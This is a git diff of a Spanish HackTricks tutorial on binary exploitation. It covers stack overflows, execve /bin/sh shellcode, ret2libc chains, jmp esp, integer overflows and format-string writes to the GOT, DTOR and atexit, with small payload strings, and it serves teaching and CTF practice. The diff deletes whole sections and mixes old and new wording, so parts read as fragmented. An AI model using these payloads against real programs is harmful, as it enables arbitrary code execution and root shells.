<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy:
|
||||
¡Obtenga acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -2,54 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## **1. DESBORDAMIENTOS DE PILA**
|
||||
|
||||
> desbordamiento de búfer, sobrecarga de búfer, sobrecarga de pila, aplastamiento de pila
|
||||
|
||||
Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.
|
||||
|
||||
Para obtener la dirección de una función dentro de un programa se puede hacer:
|
||||
```
|
||||
objdump -d ./PROGRAMA | grep FUNCION
|
||||
```
|
||||
## ROP
|
||||
|
||||
### Llamada a sys\_execve
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; clear eax\
|
||||
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Execute syscall
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||||
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**Verify that the shellcode works**
|
||||
**Comprobar que la shellcode funciona**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -59,9 +41,9 @@ fp = (void *)shellcode;
|
|||
fp();
|
||||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
Para confirmar que las llamadas al sistema se realizan correctamente, compile el programa anterior y verifique las llamadas del sistema con **strace ./PROGRAMA\_COMPILADO**
|
||||
Para confirmar que las llamadas al sistema se realizan correctamente, se debe compilar el programa anterior y las llamadas al sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO**
|
||||
|
||||
Cuando se crean shellcodes, se puede utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y coloca el EIP en la pila. Después de la instrucción de llamada, se coloca la cadena necesaria, de modo que con ese EIP se puede apuntar a la cadena y continuar ejecutando el código.
|
||||
Al crear shellcodes, se puede utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y también coloca el EIP en la pila. Después de la llamada, hemos colocado la cadena que necesitamos, por lo que con ese EIP podemos apuntar a la cadena y seguir ejecutando el código.
|
||||
|
||||
EJ **TRUCO (/bin/sh)**:
|
||||
```
|
||||
|
@ -136,123 +118,41 @@ call init
|
|||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
1. **Atacando el Frame Pointer (EBP)**
|
||||
|
||||
Útil en una situación en la que podemos modificar el EBP pero no el EIP.
|
||||
|
||||
Se sabe que al salir de una función se ejecuta el siguente código ensamblador:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
ret
|
||||
```
|
||||
De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado.
|
||||
|
||||
En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la dirección de la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejecute el ret.
|
||||
|
||||
**Exploit:**\
|
||||
\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4
|
||||
|
||||
**Off-by-One Exploit**\
|
||||
Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.
|
||||
|
||||
## **4. Métodos return to Libc**
|
||||
|
||||
Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar.
|
||||
|
||||
El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil.
|
||||
|
||||
* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila
|
||||
* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia
|
||||
* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila
|
||||
|
||||
Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs).
|
||||
|
||||
**export SHELL=/bin/sh**
|
||||
|
||||
Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\
|
||||
**p system**\
|
||||
**p exit**\
|
||||
**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\
|
||||
(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh
|
||||
|
||||
Una vez tengamos estas direcciones el **exploit** quedaría:
|
||||
|
||||
“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system)
|
||||
|
||||
De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit().
|
||||
|
||||
Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4).
|
||||
|
||||
Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver.
|
||||
|
||||
Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload.
|
||||
|
||||
Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable.
|
||||
|
||||
**Encadenamiento de funciones**
|
||||
|
||||
Basándonos en la técnica anterior, esta forma de exploit consiste en:\
|
||||
Relleno + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + …
|
||||
|
||||
De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poner los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable**
|
||||
|
||||
**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)**
|
||||
|
||||
Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"
|
||||
|
||||
RELLENO
|
||||
|
||||
* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”)
|
||||
* En el EIP ponemos de dirección una función &(leave;ret)
|
||||
|
||||
Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh”
|
||||
|
||||
el 2ºEBP sería: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
|
||||
|
||||
Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria.
|
||||
|
||||
(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib)
|
||||
|
||||
## **5.Métodos complementarios**
|
||||
## **5. Métodos complementarios**
|
||||
|
||||
**Ret2Ret**
|
||||
|
||||
Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí).
|
||||
Útil cuando no se puede insertar una dirección de stack en el EIP (se verifica que el EIP no contenga 0xbf) o no se puede calcular la ubicación de la shellcode. Si la función vulnerable acepta un parámetro (donde irá la shellcode).
|
||||
|
||||
De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode.
|
||||
Al cambiar el EIP por una dirección de **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función), es decir, se cargará la shellcode.
|
||||
|
||||
El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado)
|
||||
El exploit sería: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode ya que se coloca en la pila la dirección del parámetro pasado).
|
||||
|
||||
Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere.
|
||||
```
|
||||
**Ret2PopRet**
|
||||
```
|
||||
Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos.
|
||||
Funciones como **strncpy** parecen eliminar de la pila la dirección donde se guardaba la shellcode una vez completadas, lo que imposibilita esta técnica. La dirección pasada a la función como argumento (que guarda la shellcode) se modifica por un 0x00, por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa se detiene.
|
||||
|
||||
**Técnica de Murat**
|
||||
|
||||
En linux todos los progamas se mapean comenzando en 0xbfffffff
|
||||
En Linux, todos los programas se mapean comenzando en 0xbfffffff.
|
||||
|
||||
Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
Observando cómo se construye la pila de un nuevo proceso en Linux, se puede desarrollar un exploit para que el programa se inicie en un entorno donde la única variable sea la shellcode. La dirección de esta variable se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode).
|
||||
|
||||
De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
|
||||
De esta manera, se obtiene fácilmente la dirección donde se encuentra la variable de entorno con la shellcode.
|
||||
|
||||
Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
|
||||
Esto es posible gracias a que la función execle permite crear un entorno con solo las variables de entorno deseadas.
|
||||
|
||||
**Jump to ESP: Windows Style**
|
||||
**Jump to ESP: Estilo Windows**
|
||||
|
||||
Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste con sustituir el EIP con la dirección a una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el **ret** el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode.
|
||||
Dado que ESP siempre apunta al inicio del stack, esta técnica consiste en reemplazar el EIP con la dirección de una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobrescritura del EIP, ya que después de ejecutar el **ret**, ESP apuntará a la dirección siguiente, justo donde se guardó la shellcode.
|
||||
|
||||
En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable.
|
||||
Si no se tiene activado el ASLR en Windows o Linux, se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. Si el ASLR está activo, se puede buscar dentro del programa vulnerable.
|
||||
|
||||
Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función).
|
||||
Además, al colocar la shellcode después de la corrupción del EIP en lugar de en medio del stack, se evita que las instrucciones push o pop que se ejecuten en medio de la función afecten la shellcode (lo cual podría ocurrir si se coloca en medio del stack de la función).
|
||||
|
||||
De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).**
|
||||
De manera similar, si se conoce que una función devuelve la dirección donde se guarda la shellcode, se puede llamar a **call eax** o **jmp eax (ret2eax).**
|
||||
|
||||
**Integer overflows**
|
||||
**Desbordamientos de enteros**
|
||||
|
||||
Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
|
||||
Estos desbordamientos ocurren cuando una variable no está preparada para manejar un número tan grande como el que se le pasa, posiblemente debido a una confusión entre variables con y sin signo, por ejemplo:
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
|
@ -277,95 +177,27 @@ printf("\nIntento de hack\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
En el ejemplo anterior vemos que el programa se espera 2 parámetros. El primero la longitud de la siguiente cadena y el segundo la cadena.
|
||||
En el ejemplo anterior vemos que el programa expects 2 parámetros. El primero es la longitud de la siguiente cadena y el segundo es la cadena.
|
||||
|
||||
Si le pasamos como primer parámetro un número negativo saldrá que len < 256 y pasaremos ese filtro, y además también strlen(buffer) será menor que l, pues l es unsigned int y será muy grande.
|
||||
Si se pasa un número negativo como primer parámetro, se mostrará que len < 256 y se pasará ese filtro, además strlen(buffer) será menor que l, ya que l es unsigned int y será muy grande.
|
||||
|
||||
Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades.
|
||||
Este tipo de overflows no busca escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades.
|
||||
|
||||
**Variables no inicializadas**
|
||||
|
||||
No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante.
|
||||
|
||||
## **Format Strings**
|
||||
##
|
||||
|
||||
En C **`printf`** es una función que se puede utilizar para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto sin formato con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto sin formato.
|
||||
###
|
||||
|
||||
La vulnerabilidad aparece cuando un **texto del atacante se coloca como el primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de **formato de cadena printf** para **escribir cualquier dato en cualquier dirección**. De esta manera, podrá **ejecutar código arbitrario**.
|
||||
###
|
||||
|
||||
Formateadores:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
%u —> Unsigned
|
||||
%s —> String
|
||||
%n —> Number of written bytes
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**`%n`** **escribe** el **número de bytes escritos** en la **dirección indicada. Escribir** tantos **bytes** como el número hexadecimal que necesitamos **escribir** es la forma en que se puede **escribir cualquier dato**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
### GOT (Global Offsets Table) / PLT (Tabla de Enlace de Procedimientos)
|
||||
|
||||
Esta es la tabla que contiene la **dirección** de las **funciones externas** utilizadas por el programa.
|
||||
|
||||
Obtén la dirección de esta tabla con: **`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../.gitbook/assets/image (619).png>)
|
||||
|
||||
Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en el **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
Usando GEF puedes **iniciar** una **sesión de depuración** y ejecutar **`got`** para ver la tabla got:
|
||||
|
||||
![](<../../.gitbook/assets/image (621).png>)
|
||||
|
||||
En un binario, el GOT tiene las **direcciones de las funciones o** de la sección **PLT** que cargará la dirección de la función. El objetivo de este exploit es **sobrescribir la entrada del GOT** de una función que se ejecutará más adelante **con** la **dirección** de la PLT de la función **`system`**. Idealmente, se **sobrescribirá** el **GOT** de una **función** que **será llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema).
|
||||
|
||||
Si **`system`** **no se utiliza** en el script, la función del sistema **no** tendrá una entrada en el GOT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system`.
|
||||
|
||||
La **Tabla de Enlace de Procedimientos** es una tabla de solo lectura en el archivo ELF que almacena todos los **símbolos necesarios que necesitan una resolución**. Cuando se llama a una de estas funciones, el **GOT** **redirigirá** el **flujo** al **PLT** para que pueda **resolver** la **dirección** de la función y escribirla en el GOT.\
|
||||
Luego, la **próxima vez** que se realice una llamada a esa dirección, la **función** se **llamará directamente** sin necesidad de resolverla.
|
||||
|
||||
Puedes ver las direcciones de PLT con **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
### **Flujo de Explotación**
|
||||
|
||||
Como se explicó anteriormente, el objetivo será **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más adelante. Idealmente podríamos establecer la **dirección de un shellcode** ubicado en una sección ejecutable, pero es muy probable que no puedas escribir un shellcode en una sección ejecutable.\
|
||||
Entonces, una opción diferente es **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la función **`system`**.
|
||||
|
||||
Para escribir la dirección, generalmente se realizan 2 pasos: **primero escribes 2 bytes** de la dirección y luego los otros 2. Para hacerlo se utiliza **`$hn`**.
|
||||
|
||||
**HOB** se refiere a los 2 bytes más altos de la dirección\
|
||||
**LOB** se refiere a los 2 bytes más bajos de la dirección
|
||||
|
||||
Entonces, debido a cómo funciona la cadena de formato, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
|
||||
|
||||
Si HOB < LOB\
|
||||
`[dirección+2][dirección]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
Si HOB > LOB\
|
||||
`[dirección+2][dirección]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
|
||||
### **Plantilla de Explotación de Cadena de Formato**
|
||||
|
||||
Puedes encontrar una **plantilla** para explotar el GOT usando cadenas de formato aquí:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
###
|
||||
|
||||
### **.fini\_array**
|
||||
|
||||
Básicamente, esta es una estructura con **funciones que se llamarán** antes de que el programa finalice. Esto es interesante si puedes llamar a tu **shellcode simplemente saltando a una dirección**, o en casos en los que necesitas volver a main nuevamente para **explotar la cadena de formato una segunda vez**.
|
||||
Básicamente, esta es una estructura con **funciones que se llamarán** antes de que el programa finalice. Esto es interesante si puedes llamar a tu **shellcode saltando a una dirección**, o en casos donde necesitas volver a main nuevamente para **explotar la cadena de formato una segunda vez**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -395,7 +227,7 @@ Por lo tanto, **accediendo** al **8vo parámetro** puedes obtener la bandera:
|
|||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
Ten en cuenta que siguiendo el **exploit anterior** y dándote cuenta de que puedes **filtrar contenido**, puedes **establecer punteros** a **`printf`** en la sección donde se **carga** el **ejecutable** y **volcarlo** **completamente**!
|
||||
Ten en cuenta que siguiendo el **exploit anterior** y dándote cuenta de que puedes **filtrar contenido**, puedes **establecer punteros** a **`printf`** en la sección donde el **ejecutable** está **cargado** y **volcarlo** **completamente**!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
|
@ -410,12 +242,12 @@ Obtén la dirección de esta sección con:
|
|||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Generalmente encontrarás la sección **DTOR** **entre** los valores `ffffffff` y `00000000`. Por lo tanto, si solo ves esos valores, significa que **no hay ninguna función registrada**. Por lo tanto, **sobrescribe** el **`00000000`** con la **dirección** del **shellcode** para ejecutarlo.
|
||||
Por lo general, encontrarás la sección **DTOR** **entre** los valores `ffffffff` y `00000000`. Por lo tanto, si solo ves esos valores, significa que **no hay ninguna función registrada**. Por lo tanto, **sobrescribe** el **`00000000`** con la **dirección** del **shellcode** para ejecutarlo.
|
||||
|
||||
### **Cadenas de formato para desbordamientos de búfer**
|
||||
|
||||
La función **sprintf** mueve una cadena formateada a una variable. Por lo tanto, podrías abusar del formateo de una cadena para causar un desbordamiento de búfer en la variable donde se copia el contenido.\
|
||||
Por ejemplo, la carga útil `%.44xAAAA` escribirá 44B+"AAAA" en la variable, lo que puede causar un desbordamiento de búfer.
|
||||
La función **sprintf** mueve una cadena formateada a una **variable**. Por lo tanto, podrías abusar del **formateo** de una cadena para causar un **desbordamiento de búfer en la variable** donde se copia el contenido.\
|
||||
Por ejemplo, la carga útil `%.44xAAAA` **escribirá 44B+"AAAA" en la variable**, lo que puede causar un desbordamiento de búfer.
|
||||
|
||||
### **Estructuras \_\_atexit**
|
||||
|
||||
|
@ -423,10 +255,10 @@ Por ejemplo, la carga útil `%.44xAAAA` escribirá 44B+"AAAA" en la variable, lo
|
|||
Hoy en día es muy **raro explotar esto**.
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`** es una función a la que se le pasan otras funciones como parámetros. Estas funciones se ejecutarán al ejecutar un **`exit()`** o al retornar del **main**.\
|
||||
Si puedes **modificar** la **dirección** de alguna de estas **funciones** para que apunte a un shellcode, por ejemplo, obtendrás el **control** del **proceso**, pero actualmente esto es más complicado.\
|
||||
Actualmente, las **direcciones de las funciones** a ejecutar están ocultas detrás de varias estructuras y finalmente la dirección a la que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Por lo tanto, actualmente este vector de ataque no es muy útil al menos en x86 y x64\_86.\
|
||||
La función de **encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelven lo mismo** que recibieron como entrada. Por lo tanto, estas arquitecturas podrían ser atacadas por este vector.
|
||||
**`atexit()`** es una función a la que se **pasan otras funciones como parámetros**. Estas **funciones** se ejecutarán al ejecutar un **`exit()`** o al **retornar** del **main**.\
|
||||
Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para que apunte a un shellcode, por ejemplo, **obtendrás el control** del **proceso**, pero actualmente es más complicado.\
|
||||
Actualmente, las **direcciones de las funciones** a ejecutar están **ocultas** detrás de varias estructuras y finalmente las direcciones a las que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Por lo tanto, actualmente este vector de ataque **no es muy útil al menos en x86** y **x64\_86**.\
|
||||
La función de **encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelven lo mismo** que reciben como entrada. Por lo tanto, estas arquitecturas podrían ser atacadas por este vector.
|
||||
|
||||
